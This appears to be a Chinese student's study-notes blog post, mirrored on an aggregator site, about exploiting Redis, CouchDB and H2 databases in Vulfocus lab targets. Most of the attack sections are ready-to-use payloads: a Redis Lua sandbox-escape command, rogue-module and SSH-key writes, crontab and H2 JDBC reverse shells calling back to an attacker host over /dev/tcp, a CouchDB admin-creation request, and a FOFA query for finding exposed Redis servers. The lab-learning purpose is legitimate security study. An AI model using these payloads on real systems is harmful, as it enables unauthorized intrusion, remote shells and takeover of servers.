小迪安全v2023學習筆記(七十八講)—— 數據庫安全RedisCouchDBH2database未授權CVE

文章目錄

  • 前記
  • 服務攻防——第七十八天
    • 數據庫安全&Redis&CouchDB&H2database&未授權訪問&CVE漏洞
      • 前置知識
        • 復現環境
        • 服務判斷
        • 對象類別
        • 利用方法
      • 數據庫應用 - Redis-未授權訪問&CVE漏洞
        • 前置知識
        • 案例演示
          • 沙箱繞過RCE - CVE-2022-0543
          • 未授權訪問 - CNVD-2019-21763
          • 未授權訪問 - CNVD-2015-07557
            • 寫WebShell
            • 寫定時任務反彈Shell
            • 寫入Linux SSH-Key公鑰
        • 自動化項目
      • 數據庫應用 - Couchdb-未授權越權&CVE漏洞
        • 前置知識
        • 案例演示
          • Couchdb命令執行(CVE-2017-12636)
          • Couchdb 垂直越權(CVE-2017-12635)
      • 數據庫應用 - H2database-未授權訪問&CVE漏洞
        • 前置知識
        • 案例演示
          • 未授權訪問
          • RCE執行反彈(CVE-2022-23221)

前記

  • 今天是學習小迪安全的第七十八天,本節課是服務攻防的第一節內容,主要是數據庫安全,包括RedisCouchDB以及H2database數據庫
  • 主要以實戰為主,需要自己下去慢慢復現,然后理解思路

服務攻防——第七十八天

數據庫安全&Redis&CouchDB&H2database&未授權訪問&CVE漏洞

在這里插入圖片描述

前置知識

復現環境
  • 復現環境可以使用VulfocusVulhub
  • 這里推薦使用Vulfocus,但是官方在線網站好像是使用不了了,我們可以本地搭建環境
  • 官方參考文檔:https://fofapro.github.io/vulfocus/#/
  • 搭建教程參考:
    1. Vulfocus 靶機環境搭建部署:
      • https://blog.csdn.net/csd_ct/article/details/121158165
    2. Vulfocus 不能同步的解決方法 /vulfocus 同步失敗:
      • https://blog.csdn.net/m0_64563956/article/details/131229046
  • 我這里是搭建到本地Ubuntu上面的,當然更推薦部署到公網服務器上,然后采用的是docker搭建:
docker pull vulfocus/vulfocus:latest
  • 鏡像拉取完畢后直接運行即可:
docker run -d -p 8099:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 vulfocus/vulfocus
  • 這里我們將其映射到了8099端口,所以訪問http://IP:8099就能夠訪問到Vulfocus靶場,賬號密碼為admin/admin,然后到鏡像管理這里一鍵同步即可:
    在這里插入圖片描述

  • 這樣我們就可以部署自己想要的靶場環境了,當然也可以自定義靶場

  • 我這里并沒有遇到小迪所說的無法同步的問題,也可以正常下載鏡像,有問題的看看上面的兩篇文章解決以下

服務判斷
  • 端口掃描:利用服務開啟后目標端口開放判斷
  • 組合判斷:利用搭建常見組合分析可能開放服務
  • 信息來源:訪問端口提示軟件版本,應用信息等
  • 強弱特征:如框架 shiro 強特征 rememberMeSpringBoot 默認頁面等
對象類別
  • 對服務進行類別劃分,通過服務功能理解,如數據庫有帳號密碼就有爆破利用方法,也可以針對服務公開的 CVE 進行漏洞測試及服務常見的錯誤安全配置導致的未授權訪問等。
利用方法
  • 主要集中在 CVE 漏洞未授權訪問弱口令爆破

數據庫應用 - Redis-未授權訪問&CVE漏洞

前置知識
  • Redis 是一套開源的使用 ANSI C 編寫、支持網絡、可基于內存可持久化的日志型、鍵值存儲數據庫,并提供多種語言的 API
  • Redis 如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。
  • Redis默認端口:6379,這也是一個判斷是否為Redis的特征
案例演示
  • 演示關于Redis常見的幾個漏洞,需要在Vulfocus中下載如下三個靶場:
    在這里插入圖片描述
沙箱繞過RCE - CVE-2022-0543
  • 啟動之后為了避免沖突,它會將6379端口映射到一個隨機端口,實戰下一般都是默認的端口
    在這里插入圖片描述

  • 然后這里我們直接嘗試使用Another Redis Desktop Manager連接,看是否存在未授權訪問:
    在這里插入圖片描述
    在這里插入圖片描述

  • 可以看到也是成功連接上了,說明是存在未授權訪問的,連接上之后就可以嘗試使用已知的Redis歷史漏洞嘗試打打

  • 這里的話是存在CVE-2022-0543這個漏洞的,Payload如下:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
  • 不需要看懂,遇到的時候直接用就行了,它的作用是執行id命令,我們將他插入到終端這里,看是否能夠成功執行即可:
    在這里插入圖片描述

  • 可以看到這里成功執行命令,如果在實戰中我們也可以直接嘗試連接看是否存在未授權,然后再插入這個命令看看是否執行,如果能夠成功執行,那就恭喜你找到了一個漏洞

  • 比如我們可以隨便在fofa上搜一搜看看,語法如下:

port="6379" && protocol="redis"
  • 不管它數據包里面返回什么內容都沒關系,都可以嘗試連接一下
    在這里插入圖片描述

  • 然后就可以嘗試打一下歷史漏洞,這里我們就不亂玩了,但是感覺現在這種未授權訪問都比較少見了

未授權訪問 - CNVD-2019-21763
  • 開啟第二個靶機:
    在這里插入圖片描述

  • 由于在 Reids 4.x 及以上版本中新增了模塊功能,攻擊者可通過外部拓展,在 Redis 中實現一個新的 Redis 命令。攻擊者可以利用該功能引入模塊,在未授權訪問的情況下使被攻擊服務器加載惡意 .so 文件,從而實現遠程代碼執行。

  • 利用工具項目:https://github.com/vulhub/redis-rogue-getshell

  • 按照它的說明先make一下得到exp.so文件:

cd RedisModulesSDK/
make
  • 然后就可以利用了:
python redis-master.py -r 目標IP -p 目標端口 -L 攻擊IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

在這里插入圖片描述

  • 可以看到是成功利用的
未授權訪問 - CNVD-2015-07557
  • 同樣啟動靶機:
    在這里插入圖片描述

  • 這個漏洞有三種利用方式,但都是利用寫文件的方式去嘗試利用

寫WebShell
  • 利用條件存在Web網站,且Web路徑已知具有目錄讀寫權限,所以可以看到利用條件較為苛刻
  • 利用
config set dir /tmp #設置WEB寫入目錄,這里假設為/tmp
config set dbfilename 1.php #設置寫入文件名
set test "<?php phpinfo();?>" #設置寫入文件代碼
bgsave #保存執行
save #保存執行
  • 這里連接上Redis之后,一個個寫入命令即可:
    在這里插入圖片描述

  • 都顯示OK,沒有任何報錯就說明命令成功執行了,這時我們看一看/tmp目錄下是否成功創建1.php文件即可,當然這里因為是在docker容器中,所以要在docker目錄下去找:
    在這里插入圖片描述

  • 這里因為之前傳過一些php文件,但是我們直接找最后是/tmp目錄的1.php文件即可,就是最后兩個,那就看看其內容是否為<?php phpinfo();?>即可:
    在這里插入圖片描述

  • 這里看到確實沒問題,是我們寫入的文件,當然也可以再換個文件名上傳驗證一下,我這邊就不再演示了

寫定時任務反彈Shell
  • 利用條件Redis服務使用ROOT賬號啟動,安全模式protected-mode處于關閉狀態,可以看到也是比較苛刻的條件
  • 利用
config set dir /var/spool/cron #修改 Redis 的持久化目錄為/var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/攻擊機IP/PORT 0>&1\n\n\n" #在 Redis 中設置一個鍵 yy,其值是一個惡意的 crontab 條目,反彈Shell命令
config set dbfilename x #設置 Redis 持久化文件名為 x
save #強制 Redis 立即將內存中的數據持久化到磁盤
  • 因為我這里靶機環境是docker搭建的,所以沒有/var/spool/cron目錄,但是真實情況下是有的:
    在這里插入圖片描述

  • 那這里就演示不了了,然后也需要注意的是網站的服務器要是CentOS,否則也無法執行成功

  • 因為 CentOS 會忽略亂碼去執行格式正確的任務計劃,而 Ubuntu 并不會忽略這些亂碼,所以導致命令執行失敗

寫入Linux SSH-Key公鑰
  • 利用條件Redis 服務使用 ROOT 賬號啟動安全模式 protected-mode 處于關閉狀態允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器;同樣是很苛刻的條件
  • 利用
# 在自己的攻擊機上執行的命令
ssh-keygen -t rsa #生成一對 RSA 密鑰
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt #生成一個 key.txt 文件
cat key.txt | redis-cli -h 目標IP -x set xxx #把 key.txt 的內容作為值,設置到目標 Redis 的鍵 xxx 中# 在Redis服務上執行的命令
config set dir /root/.ssh/ #修改 Redis 的持久化目錄為目標服務器的 /root/.ssh/
config set dbfilename authorized_keys #設置持久化文件名為 authorized_keys,即 SSH 公鑰文件名
save# 在自己的攻擊機上再次執行的命令
cd /root/.ssh/
ssh -i id_rsa root@目標IP #使用本地私鑰 id_rsa 登錄目標服務器
  • 這些其實都比較雞肋,實戰中碰到的概率太低了,所以演不演示都沒多大必要了
自動化項目
  • 針對Redis服務上述的三個漏洞,我們如果碰到一個個測太慢了,那這里有別人寫好的自動化腳本,實戰中直接掃就好了
  • 項目地址:https://github.com/n0b0dyCN/redis-rogue-server
  • 同樣需要先make一下:
cd RedisModulesSDK/exp/
make
  • 然后直接使用如下命令掃描即可:
python redis-rogue-server.py --rhost 目標IP --rport 目標端口 --lhost 攻擊機IP

在這里插入圖片描述

數據庫應用 - Couchdb-未授權越權&CVE漏洞

前置知識
  • Apache CouchDB 是一個開源數據庫,專注于易用性和成為 “完全擁抱 web 的數據庫”。它是一個使用 JSON 作為存儲格式JavaScript 作為查詢語言,MapReduceHTTP 作為 API 的 NoSQL 數據庫
  • 應用廣泛,如 BBC 用在其動態內容展示平臺;Credit Suisse 用在其內部的商品部門的市場框架;Meebo用在其社交平臺(web 和應用程序)。在 2017 年 11 月 15 日,CVE-2017-12635CVE-2017-12636 披露利用。
  • Couchdb默認端口:5984
案例演示
  • 在演示之前,我們需要在Vulfocus中拉取它的靶場:
    在這里插入圖片描述

  • 這個同樣也是碰到了就直接用poc打就行了

Couchdb命令執行(CVE-2017-12636)
  • 啟動靶機:
    在這里插入圖片描述

  • 漏洞利用項目地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py

  • 把上面的exp復制下來,修改如下部分:
    在這里插入圖片描述

  • 然后將其放到我們的攻擊機,先監聽443端口,然后直接python exp.py即可:
    在這里插入圖片描述

  • 這里就成功利用了,能夠執行任何命令

Couchdb 垂直越權(CVE-2017-12635)
  • 還是先啟動我們的靶機:
    在這里插入圖片描述

  • 訪問5984端口,這里是映射到了27653端口,會返回這樣的JSON數據:
    在這里插入圖片描述

  • 那我們就可以直接使用網上的POC進行利用,通過BP或者Postman發包:

PUT /_users/org.couchdb.user:lingaaa HTTP/1.1
Host: 192.168.0.143:27653
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 105{"type": "user","name": "lingaaa","roles": ["_admin"],"roles": [],"password": "lingaaa"
}

在這里插入圖片描述

  • 先等一會再發,這里我們先打開http://192.168.0.143:27653/_utils/#login,用這個賬號密碼嘗試登錄發現沒有用戶:
    在這里插入圖片描述

  • 然后再將這個數據包發送出去,可以看到它的回顯包中提示OK:true,再次登錄發現登錄成功:
    在這里插入圖片描述
    在這里插入圖片描述

數據庫應用 - H2database-未授權訪問&CVE漏洞

前置知識
  • H2databaseJava SQL 數據庫,H2 的主要特點是:非常快,開源,JDBC API;嵌入式和服務器模式;內存數據庫;基于瀏覽器的控制臺應用程序。
  • H2 數據庫控制臺中的另一個未經身份驗證的 RCE 漏洞,在 v2.1.210 + 中修復。2.1.210 之前的 H2 控制臺允許遠程攻擊者通過包含子字符串的 jdbc:h2:mem JDBC URL 執行任意代碼。
  • **H2database的默認端口為:
    • TCP 服務端口9092
    • Web 控制臺端口8082
  • 這里它的默認端口是90928082,至于小迪上面說的20051O2OA開發平臺內置的H2默認端口
案例演示
  • 同樣,我們需要下載關于H2database的一個靶場:
    在這里插入圖片描述

  • 直接打開8082端口,這里映射的是18292端口,看到如下界面就說明是H2數據庫:
    在這里插入圖片描述

未授權訪問
  • 我們直接在JDBC URL處填入以下內容就可以嘗試存不存在未授權訪問的情況:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\

在這里插入圖片描述
在這里插入圖片描述

  • 這里就成功進入了,說明存在未授權訪問
  • 當然有的時候也可以嘗試之前的JNDI注入,使用rmi協議看能否進行攻擊利用
RCE執行反彈(CVE-2022-23221)
  • 同樣使用網上的POC,我們在攻擊機上創建數據庫文件h2database.sql,寫入如下內容:
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反彈shell指令}|{base64,-d}|{bash,-i}");';
  • 這里填入我們的反彈Shell命令,需要經過Base64編碼,比如:
bash -i >& /dev/tcp/192.168.0.129/6666 0>&1
  • 然后我們在攻擊機上啟動一個簡單的服務器,讓目標服務器去加載這個惡意sql文件:
python -m http.server 8888
  • 最后使用nc監聽6666端口:
nc -lnvp 6666
  • 接著,我們就將如下Payload填入上面的JDBC URL處,讓他加載h2database.sql即可嘗試getshell
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\

在這里插入圖片描述
在這里插入圖片描述

  • 也是成功getshell,執行任意命令

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/921295.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/921295.shtml
英文地址,請注明出處:http://en.pswp.cn/news/921295.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

HTML + CSS 創建圖片倒影的 5 種方法

HTML CSS 創建圖片倒影的 5 種方法 目標&#xff1a;掌握多種生成“圖片倒影 / Reflection”效果的實現思路&#xff0c;理解兼容性、性能差異與最佳實踐&#xff0c;方便在真實業務&#xff08;商品展示、相冊、登陸頁面視覺強化&#xff09;中安全使用。 總覽對比 方法核心…

一個文件被打開io流和不打卡 inode

1. 磁盤 最小基本單位 扇區 機器磁盤的io效率 &#xff08;讀和取&#xff09;2. 文件系統 對磁盤分區 &#xff0c;最小的文件單位塊組&#xff0c;快組內部已經劃分好區域&#xff0c;巴拉巴拉&#xff0c;總之&#xff0c;每次使用數據&#xff0c;以操作系統的處理都是塊級…

ThermoSeek:熱穩定蛋白數據庫

這篇論文提出了ThermoSeek&#xff0c;一個綜合性的網絡資源&#xff0c;用于分析來自嗜熱和嗜冷物種的蛋白質序列和結構。具體來說&#xff0c;數據收集&#xff1a;從美國國家生物技術信息中心&#xff08;NCBI&#xff09;的基因組數據庫中收集了物種的分類ID&#xff0c;并…

leetcode算法刷題的第二十七天

1.leetcode 56.合并區間 題目鏈接 class Solution { public:static bool cmp(const vector<int>& a,const vector<int>& b){return a[0]<b[0];}vector<vector<int>> merge(vector<vector<int>>& intervals) {vector<v…

解決 Apache/WAF SSL 證書鏈不完整導致的 PKIX path building failed 問題

文章目錄解決 Apache/WAF SSL 證書鏈不完整導致的 PKIX path building failed 問題為什么會出現證書鏈錯誤&#xff1f;常見場景直連服務器正常&#xff0c;但經過 WAF 出錯Windows/Linux 下證書文件說明引入 WAF 或其他中間層&#xff1a;解決方法方法一&#xff1a;單獨配置 …

十一、標準化和軟件知識產權基礎知識

1 標準化基礎知識 1.1 基本概念 1.1.1 標準的分類 1.1.1.1 按使用范圍分類 國際標準&#xff1a;由國際組織如 ISO、IEC 制定的標準。國家標準&#xff1a;由國家標準化機構制定的標準&#xff0c;如中國的 GB&#xff0c;美國 ANSI。行業標準&#xff1a;由行業主管部門制定的…

計算機畢設選題:基于Python數據挖掘的高考志愿推薦系統

精彩專欄推薦訂閱&#xff1a;在 下方專欄&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f496;&#x1f525;作者主頁&#xff1a;計算機畢設木哥&#x1f525; &#x1f496; 文章目錄 一、項目介紹二…

什么是PCB工藝邊?獵板給您分享設計要點

什么是PCB工藝邊&#xff1f;獵板給您分享設計要點在PCB設計和制造領域&#xff0c;工藝邊是一個看似簡單卻至關重要的概念&#xff0c;它直接關系到生產流程的順暢性與最終產品的質量。本文將為您詳細解析PCB工藝邊的定義、作用、設計要點&#xff0c;并分享獵板PCB在高精度制…

Rustdesk搭建與客戶端修改與編譯

Rustdesk是一個開源的遠程桌面工具&#xff0c;客戶端可以自己定制修改編譯 這里主要記錄一下搭建的過程 服務端搭建 主要是參考了這篇文章&#xff0c;感覺作者分享~ 在 Linux VPS 上創建 RustDesk 服務器 - 知乎 https://zhuanlan.zhihu.com/p/1922729751656765374 這里主要…

數字人系統源碼搭建與定制化開發:從技術架構到落地實踐

隨著元宇宙、直播電商、智能客服等領域的爆發&#xff0c;數字人從概念走向商業化落地&#xff0c;其定制化需求也從 “單一形象展示” 升級為 “多場景交互能力”。本文將從技術底層出發&#xff0c;拆解數字人系統的源碼搭建邏輯&#xff0c;結合定制化開發中的核心痛點&…

2025國賽C題創新論文+代碼可視化 NIPT 的時點選擇與胎兒的異常判定

2025國賽C題創新論文代碼可視化 NIPT 的時點選擇與胎兒的異常判定基于多通道LED光譜優化的人體節律調節與睡眠質量評估模型摘要無創產前檢測&#xff08;NIPT&#xff09;通過分析孕婦血漿中胎兒游離DNA來篩查染色體異常&#xff0c;其準確性很大程度上依賴于胎兒Y染色體濃度的…

2021/07 JLPT聽力原文 問題一 4番

4番&#xff1a;女の人が新しい商品の紹介をしています。よく頭が痛くなる人は、どの商品を選びますか。女&#xff1a;こちら、新発売の中國茶をご案內します。今回皆様にご紹介いたしますのは、月?星?虹?空のお茶の4種類でございます。さあ、どうぞ召し上がってください。…

爆改YOLOv8 | 即插即用的AKConv讓目標檢測既輕量又提點

突破固定卷積核的局限,讓卷積核形狀隨目標變化而動態調整 目標檢測技術在當今計算機視覺領域扮演著至關重要的角色,而YOLO系列作為其中佼佼者,以其高速和高精度獲得了廣泛應用。但在實際應用中,傳統的卷積操作存在一些固有缺陷**。本文介紹了一種創新性的改進方案——AKCon…

linux inotify 功能詳解

內核宏開啟機制inotify 功能依賴 Linux 內核宏 CONFIG_INOTIFY_USER CONFIG_INOTIFY_USER=y該宏控制用戶態程序能否調用 inotify 相關系統調用,如 inotify_init(),inotify_add_watch() inotifywait 側重實時響應,適合觸發后續操作; inotifywatch 側重數據統計,適合分析事件…

Docker Registry 實現原理、適用場景、常用操作及搭建詳解

一、實現原理 Docker Registry 是基于 無狀態服務架構 的鏡像存儲與分發系統&#xff0c;其核心設計包含以下關鍵點&#xff1a;存儲驅動抽象層 Registry 通過 storagedriver.StorageDriver 接口實現存儲解耦&#xff0c;支持多種后端存儲&#xff1a; 本地存儲&#xff1a;默認…

【LeetCode熱題100道筆記】輪轉數組

題目描述 給定一個整數數組 nums&#xff0c;將數組中的元素向右輪轉 k 個位置&#xff0c;其中 k 是非負數。 示例 1: 輸入: nums [1,2,3,4,5,6,7], k 3 輸出: [5,6,7,1,2,3,4] 解釋: 向右輪轉 1 步: [7,1,2,3,4,5,6] 向右輪轉 2 步: [6,7,1,2,3,4,5] 向右輪轉 3 步: [5,6,7…

【Linux我做主】細說進程等待

Linux進程等待Linux進程等待github地址0. 前言1. 進程等待的必要性1.1 避免僵尸進程與資源泄漏1.2 僵尸進程不可被直接清除1.3 獲取子進程的運行結果2. 進程等待的三個問題1. 為什么要有進程等待2. 進程等待是什么3. 怎么實現進程等待3. 僵尸進程演示4. waitwait的手冊聲明wait…

大語言模型對齊

大語言模型對齊的重要性與目標研究 一、引言 隨著大語言模型 (LLM) 能力的不斷提升和應用場景的日益廣泛,這些模型在為人類社會帶來巨大便利的同時,也引發了一系列關于安全性、可靠性和倫理問題的擔憂(9)。大語言模型的對齊 (alignment) 作為確保這些強大的 AI 系統與人類價…

數組(4)

int mid min (key - arr[min]) / (arr[max] - arr[min]) * (max - min);17.數組常見算法4 分塊查找18.數組常見算法5 冒泡排序筆記小程序錯誤#include<stdio.h> int main() {/*冒泡排序&#xff1a;1.相鄰的元素兩兩比較&#xff0c;大的放右邊&#xff0c;小的放左邊2…

STM32 讀寫備份寄存器

本章節功能利用備份寄存器&#xff08;BKP&#xff09;實現數據的掉電保存&#xff0c;并通過按鍵和OLED顯示屏進行交互。使能電源&#xff08;PWR&#xff09;和備份域&#xff08;BKP&#xff09;的時鐘&#xff08; RCC_APB1PeriphClockCmd 函數&#xff09;&#xff0c;并…